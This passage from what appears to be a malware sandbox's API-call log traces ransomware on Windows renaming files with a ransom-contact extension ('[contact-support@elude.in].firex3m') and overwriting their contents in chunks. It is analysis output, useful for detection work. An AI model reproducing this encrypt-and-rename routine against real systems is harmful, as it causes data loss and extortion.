(dwMilliseconds=0x1) [0080.171] Sleep (dwMilliseconds=0x1) [0080.239] Sleep (dwMilliseconds=0x1) [0080.259] Sleep (dwMilliseconds=0x1) [0080.270] Sleep (dwMilliseconds=0x1) [0080.284] Sleep (dwMilliseconds=0x1) [0080.303] Sleep (dwMilliseconds=0x1) [0080.314] Sleep (dwMilliseconds=0x1) [0080.344] Sleep (dwMilliseconds=0x1) [0080.360] Sleep (dwMilliseconds=0x1) [0080.386] Sleep (dwMilliseconds=0x1) [0080.391] Sleep (dwMilliseconds=0x1) [0080.411] Sleep (dwMilliseconds=0x1) [0080.425] Sleep (dwMilliseconds=0x1) [0080.443] Sleep (dwMilliseconds=0x1) [0080.501] Sleep (dwMilliseconds=0x1) [0080.528] Sleep (dwMilliseconds=0x1) [0080.554] Sleep (dwMilliseconds=0x1) [0080.562] Sleep (dwMilliseconds=0x1) [0080.587] Sleep (dwMilliseconds=0x1) [0080.600] Sleep (dwMilliseconds=0x1) [0080.620] Sleep (dwMilliseconds=0x1) [0080.655] Sleep (dwMilliseconds=0x1) [0080.678] Sleep (dwMilliseconds=0x1) [0080.705] Sleep (dwMilliseconds=0x1) [0080.721] Sleep (dwMilliseconds=0x1) [0080.767] Sleep (dwMilliseconds=0x1) [0080.786] Sleep (dwMilliseconds=0x1) [0080.806] Sleep (dwMilliseconds=0x1) [0080.818] Sleep (dwMilliseconds=0x1) [0080.837] Sleep (dwMilliseconds=0x1) [0080.846] Sleep (dwMilliseconds=0x1) [0080.890] Sleep (dwMilliseconds=0x1) [0080.917] Sleep (dwMilliseconds=0x1) [0080.923] Sleep (dwMilliseconds=0x1) [0080.941] Sleep (dwMilliseconds=0x1) [0080.958] Sleep (dwMilliseconds=0x1) [0080.977] Sleep (dwMilliseconds=0x1) [0080.990] Sleep (dwMilliseconds=0x1) [0081.003] Sleep (dwMilliseconds=0x1) [0081.027] Sleep (dwMilliseconds=0x1) [0081.036] Sleep (dwMilliseconds=0x1) [0081.050] Sleep (dwMilliseconds=0x1) [0081.285] Sleep (dwMilliseconds=0x1) [0081.433] Sleep (dwMilliseconds=0x1) [0081.521] Sleep (dwMilliseconds=0x1) [0081.540] Sleep (dwMilliseconds=0x1) [0081.561] Sleep (dwMilliseconds=0x1) [0081.583] Sleep (dwMilliseconds=0x1) [0081.598] Sleep (dwMilliseconds=0x1) [0081.614] Sleep (dwMilliseconds=0x1) [0081.627] Sleep (dwMilliseconds=0x1) [0081.666] Sleep (dwMilliseconds=0x1) [0081.681] Sleep (dwMilliseconds=0x1) [0081.693] Sleep (dwMilliseconds=0x1) [0081.708] Sleep (dwMilliseconds=0x1) [0081.759] Sleep (dwMilliseconds=0x1) [0081.774] Sleep (dwMilliseconds=0x1) [0081.791] Sleep (dwMilliseconds=0x1) [0081.831] Sleep (dwMilliseconds=0x1) [0081.850] Sleep (dwMilliseconds=0x1) [0081.884] Sleep (dwMilliseconds=0x1) [0081.895] Sleep (dwMilliseconds=0x1) [0081.909] Sleep (dwMilliseconds=0x1) [0081.928] Sleep (dwMilliseconds=0x1) [0081.941] Sleep (dwMilliseconds=0x1) [0081.968] Sleep (dwMilliseconds=0x1) [0081.986] Sleep (dwMilliseconds=0x1) [0082.004] Sleep (dwMilliseconds=0x1) [0082.035] Sleep (dwMilliseconds=0x1) [0082.051] Sleep (dwMilliseconds=0x1) [0082.067] Sleep (dwMilliseconds=0x1) [0082.113] Sleep (dwMilliseconds=0x1) [0082.131] Sleep (dwMilliseconds=0x1) [0082.152] Sleep (dwMilliseconds=0x1) [0082.198] Sleep (dwMilliseconds=0x1) [0082.211] Sleep (dwMilliseconds=0x1) [0082.235] Sleep (dwMilliseconds=0x1) [0082.256] Sleep (dwMilliseconds=0x1) [0082.280] Sleep (dwMilliseconds=0x1) [0082.291] Sleep (dwMilliseconds=0x1) [0082.312] Sleep (dwMilliseconds=0x1) [0082.367] Sleep (dwMilliseconds=0x1) [0082.421] Sleep (dwMilliseconds=0x1) [0082.537] Sleep (dwMilliseconds=0x1) [0082.592] Sleep (dwMilliseconds=0x1) [0082.633] Sleep (dwMilliseconds=0x1) [0082.688] Sleep (dwMilliseconds=0x1) [0082.725] Sleep (dwMilliseconds=0x1) [0082.779] Sleep (dwMilliseconds=0x1) [0082.819] Sleep (dwMilliseconds=0x1) [0082.873] Sleep (dwMilliseconds=0x1) [0082.913] Sleep (dwMilliseconds=0x1) [0082.971] Sleep (dwMilliseconds=0x1) [0083.012] Sleep (dwMilliseconds=0x1) [0083.058] Sleep (dwMilliseconds=0x1) [0083.100] Sleep (dwMilliseconds=0x1) [0083.154] Sleep (dwMilliseconds=0x1) [0083.197] Sleep (dwMilliseconds=0x1) [0083.246] Sleep (dwMilliseconds=0x1) [0083.290] Sleep (dwMilliseconds=0x1) [0083.341] Sleep (dwMilliseconds=0x1) [0083.382] Sleep (dwMilliseconds=0x1) [0083.439] Sleep (dwMilliseconds=0x1) [0083.700] Sleep (dwMilliseconds=0x1) [0083.754] Sleep (dwMilliseconds=0x1) [0083.799] Sleep (dwMilliseconds=0x1) [0083.916] Sleep (dwMilliseconds=0x1) [0084.015] Sleep (dwMilliseconds=0x1) [0084.090] Sleep (dwMilliseconds=0x1) [0084.205] Sleep (dwMilliseconds=0x1) [0084.340] Sleep (dwMilliseconds=0x1) [0084.741] Sleep (dwMilliseconds=0x1) [0084.807] Sleep (dwMilliseconds=0x1) [0084.880] Sleep (dwMilliseconds=0x1) [0084.957] Sleep (dwMilliseconds=0x1) [0085.048] Sleep (dwMilliseconds=0x1) [0085.122] Sleep (dwMilliseconds=0x1) [0085.181] Sleep (dwMilliseconds=0x1) [0085.343] Sleep (dwMilliseconds=0x1) [0085.393] Sleep (dwMilliseconds=0x1) [0085.733] Sleep (dwMilliseconds=0x1) [0085.834] Sleep (dwMilliseconds=0x1) [0085.960] Sleep (dwMilliseconds=0x1) [0086.079] Sleep (dwMilliseconds=0x1) [0086.190] Sleep (dwMilliseconds=0x1) [0086.233] Sleep (dwMilliseconds=0x1) [0086.297] Sleep (dwMilliseconds=0x1) [0086.349] Sleep (dwMilliseconds=0x1) [0086.591] Sleep (dwMilliseconds=0x1) [0086.894] Sleep (dwMilliseconds=0x1) [0087.094] Sleep (dwMilliseconds=0x1) [0087.468] Sleep (dwMilliseconds=0x1) [0089.108] Sleep (dwMilliseconds=0x1) [0090.328] Sleep (dwMilliseconds=0x1) [0091.760] Sleep (dwMilliseconds=0x1) [0093.343] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\588bce7c90097ed212\\ParameterInfo.xml", len=0x27 | out: pbstr=0x393ff7c*="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 1 [0093.370] GetProcessHeap () returned 0x630000 [0093.370] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663ba8, Size=0x8c) returned 0x663948 [0093.370] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0093.370] CloseHandle (hObject=0x6e8) returned 1 [0093.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.371] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.372] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParameterInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PARAME~1.FIR")) returned 0x6d4e40 [0093.372] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0093.372] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0093.372] GetProcessHeap () returned 0x630000 [0093.372] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7162fc8 [0093.372] GetProcessHeap () returned 0x630000 [0093.372] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x716e3f8 [0093.373] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.373] ReadFile (in: hFile=0x6e8, lpBuffer=0x7162fc8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7162fc8*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.512] GetProcessHeap () returned 0x630000 [0100.512] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0100.512] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.512] WriteFile (in: hFile=0x6e8, lpBuffer=0x716e3f8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x716e3f8*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.512] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.513] WriteFile (in: hFile=0x6e8, lpBuffer=0x71797f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71797f7*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.514] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.514] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.514] CloseHandle (hObject=0x6e8) returned 1 [0100.520] GetProcessHeap () returned 0x630000 [0100.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x716e3f8 | out: hHeap=0x630000) returned 1 [0100.520] GetProcessHeap () returned 0x630000 [0100.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7162fc8 | out: hHeap=0x630000) returned 1 [0100.520] GetProcessHeap () returned 0x630000 [0100.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0100.520] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.521] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x1dcb6e6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x426d2, dwReserved0=0xcbc7496, dwReserved1=0x7162fc0, cFileName="ParameterInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PARAME~1.FIR")) returned 0x6d52c0 [0100.521] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0100.521] Sleep (dwMilliseconds=0x1) [0100.527] Sleep (dwMilliseconds=0x1) [0100.554] Sleep (dwMilliseconds=0x1) [0100.559] Sleep (dwMilliseconds=0x1) [0100.574] Sleep (dwMilliseconds=0x1) [0100.591] Sleep (dwMilliseconds=0x1) [0101.414] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Boot\\Fonts\\malgun_boot.ttf", len=0x1d | out: pbstr=0x393ff7c*="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 1 [0101.414] GetProcessHeap () returned 0x630000 [0101.414] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e91e8, Size=0x1c) returned 0x6e9288 [0101.414] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.334] Sleep (dwMilliseconds=0x1) [0102.352] Sleep (dwMilliseconds=0x1) [0102.377] Sleep (dwMilliseconds=0x1) [0102.379] Sleep (dwMilliseconds=0x1) [0102.397] Sleep (dwMilliseconds=0x1) [0102.430] Sleep (dwMilliseconds=0x1) [0102.459] Sleep (dwMilliseconds=0x1) [0102.474] Sleep (dwMilliseconds=0x1) [0102.489] Sleep (dwMilliseconds=0x1) [0102.505] Sleep (dwMilliseconds=0x1) [0102.520] Sleep (dwMilliseconds=0x1) [0102.539] Sleep (dwMilliseconds=0x1) [0102.556] Sleep (dwMilliseconds=0x1) [0102.568] Sleep (dwMilliseconds=0x1) [0102.584] Sleep (dwMilliseconds=0x1) [0102.598] Sleep (dwMilliseconds=0x1) [0102.615] Sleep (dwMilliseconds=0x1) [0102.631] Sleep (dwMilliseconds=0x1) [0102.663] Sleep (dwMilliseconds=0x1) [0102.676] Sleep (dwMilliseconds=0x1) [0102.755] Sleep (dwMilliseconds=0x1) [0102.770] Sleep (dwMilliseconds=0x1) [0102.787] Sleep (dwMilliseconds=0x1) [0102.806] Sleep (dwMilliseconds=0x1) [0102.818] Sleep (dwMilliseconds=0x1) [0102.884] Sleep (dwMilliseconds=0x1) [0102.900] Sleep (dwMilliseconds=0x1) [0102.928] Sleep (dwMilliseconds=0x1) [0102.943] Sleep (dwMilliseconds=0x1) [0102.958] Sleep (dwMilliseconds=0x1) [0102.974] Sleep (dwMilliseconds=0x1) [0102.989] Sleep (dwMilliseconds=0x1) [0103.005] Sleep (dwMilliseconds=0x1) [0103.020] Sleep (dwMilliseconds=0x1) [0103.088] Sleep (dwMilliseconds=0x1) [0103.098] Sleep (dwMilliseconds=0x1) [0103.115] Sleep (dwMilliseconds=0x1) [0103.130] Sleep (dwMilliseconds=0x1) [0103.152] Sleep (dwMilliseconds=0x1) [0103.165] Sleep (dwMilliseconds=0x1) [0103.184] Sleep (dwMilliseconds=0x1) [0103.192] Sleep (dwMilliseconds=0x1) [0103.209] Sleep (dwMilliseconds=0x1) [0103.223] Sleep (dwMilliseconds=0x1) [0103.239] Sleep (dwMilliseconds=0x1) [0103.264] Sleep (dwMilliseconds=0x1) [0103.271] Sleep (dwMilliseconds=0x1) [0103.293] Sleep (dwMilliseconds=0x1) [0103.303] Sleep (dwMilliseconds=0x1) [0103.320] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Logs\\Application.evtx", len=0x18 | out: pbstr=0x393ff7c*="C:\\Logs\\Application.evtx") returned 1 [0103.320] GetProcessHeap () returned 0x630000 [0103.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1340 | out: hHeap=0x630000) returned 1 [0103.321] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b4 [0103.451] CloseHandle (hObject=0x6b4) returned 1 [0103.451] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.467] MoveFileW (lpExistingFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), lpNewFileName="C:\\Logs\\Application.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\application.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.468] FindFirstFileW (in: lpFileName="C:\\Logs\\Application.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPLIC~1.FIR")) returned 0x6d5400 [0103.469] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0103.469] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\application.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b4 [0103.469] GetProcessHeap () returned 0x630000 [0103.469] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0103.470] GetProcessHeap () returned 0x630000 [0103.470] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee3ce0 [0103.470] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.470] ReadFile (in: hFile=0x6b4, lpBuffer=0x6ed88b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.535] GetProcessHeap () returned 0x630000 [0110.535] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0110.535] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.536] WriteFile (in: hFile=0x6b4, lpBuffer=0x6ee3ce0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.536] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.536] WriteFile (in: hFile=0x6b4, lpBuffer=0x6eef0df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eef0df*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0110.536] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.536] WriteFile (in: hFile=0x6b4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0110.536] CloseHandle (hObject=0x6b4) returned 1 [0110.539] GetProcessHeap () returned 0x630000 [0110.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0110.539] GetProcessHeap () returned 0x630000 [0110.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0110.539] GetProcessHeap () returned 0x630000 [0110.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0110.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0110.539] FindFirstFileW (in: lpFileName="C:\\Logs\\Application.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7d507b3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xcbc7496, dwReserved1=0x6ed88a8, cFileName="Application.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPLIC~1.FIR")) returned 0x6d4e40 [0110.539] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0110.539] Sleep (dwMilliseconds=0x1) [0112.396] Sleep (dwMilliseconds=0x1) [0113.617] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", len=0x55 | out: pbstr=0x393ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 1 [0113.617] GetProcessHeap () returned 0x630000 [0113.617] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fefec0, Size=0x38) returned 0x6d5500 [0113.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.617] Sleep (dwMilliseconds=0x1) [0113.631] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml", len=0x52 | out: pbstr=0x393ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0113.631] GetProcessHeap () returned 0x630000 [0113.631] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9080, Size=0x18) returned 0x6b01f8 [0113.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.634] Sleep (dwMilliseconds=0x1) [0113.650] Sleep (dwMilliseconds=0x1) [0113.662] Sleep (dwMilliseconds=0x1) [0113.682] Sleep (dwMilliseconds=0x1) [0113.692] Sleep (dwMilliseconds=0x1) [0114.305] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat", len=0x3f | out: pbstr=0x393ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 1 [0114.305] GetProcessHeap () returned 0x630000 [0114.305] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef698, Size=0x38) returned 0x6d4e40 [0114.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.307] Sleep (dwMilliseconds=0x1) [0114.309] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml", len=0x4c | out: pbstr=0x393ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0114.309] GetProcessHeap () returned 0x630000 [0114.309] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699768, Size=0x24) returned 0x6998e8 [0114.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.312] Sleep (dwMilliseconds=0x1) [0114.325] Sleep (dwMilliseconds=0x1) [0114.404] Sleep (dwMilliseconds=0x1) [0114.421] Sleep (dwMilliseconds=0x1) [0114.439] Sleep (dwMilliseconds=0x1) [0114.513] Sleep (dwMilliseconds=0x1) [0114.553] Sleep (dwMilliseconds=0x1) [0114.561] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml", len=0x3d | out: pbstr=0x393ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 1 [0114.561] GetProcessHeap () returned 0x630000 [0114.561] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1430, Size=0xc) returned 0x6b1208 [0114.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.563] Sleep (dwMilliseconds=0x1) [0114.577] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml", len=0x3d | out: pbstr=0x393ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 1 [0114.577] GetProcessHeap () returned 0x630000 [0114.577] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5dd0, Size=0x28) returned 